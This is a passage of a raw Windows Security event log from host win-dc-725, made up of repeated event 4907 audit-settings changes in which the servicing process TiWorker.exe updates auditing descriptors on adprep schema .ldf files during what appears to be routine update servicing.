-Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247711 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch46.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247710 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch45.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247709 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch44.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247708 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch43.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247707 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch42.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247706 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch41.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247705 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch40.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247704 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch39.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247703 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch38.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247702 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch37.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247701 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch36.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247700 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch35.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247699 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch34.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247698 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch33.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247697 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch32.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247696 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch31.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247695 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch30.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247694 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch29.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247693 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch28.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247692 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch27.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247691 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch26.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247690 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch25.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247689 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch24.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247688 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch23.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247687 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch22.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247686 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch21.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247685 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch20.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247684 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch19.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247683 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch18.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247682 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch17.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247681 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch16.ldf - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247680 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch15.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247679 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch14.ldf - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247678 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\pas.ldf - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: 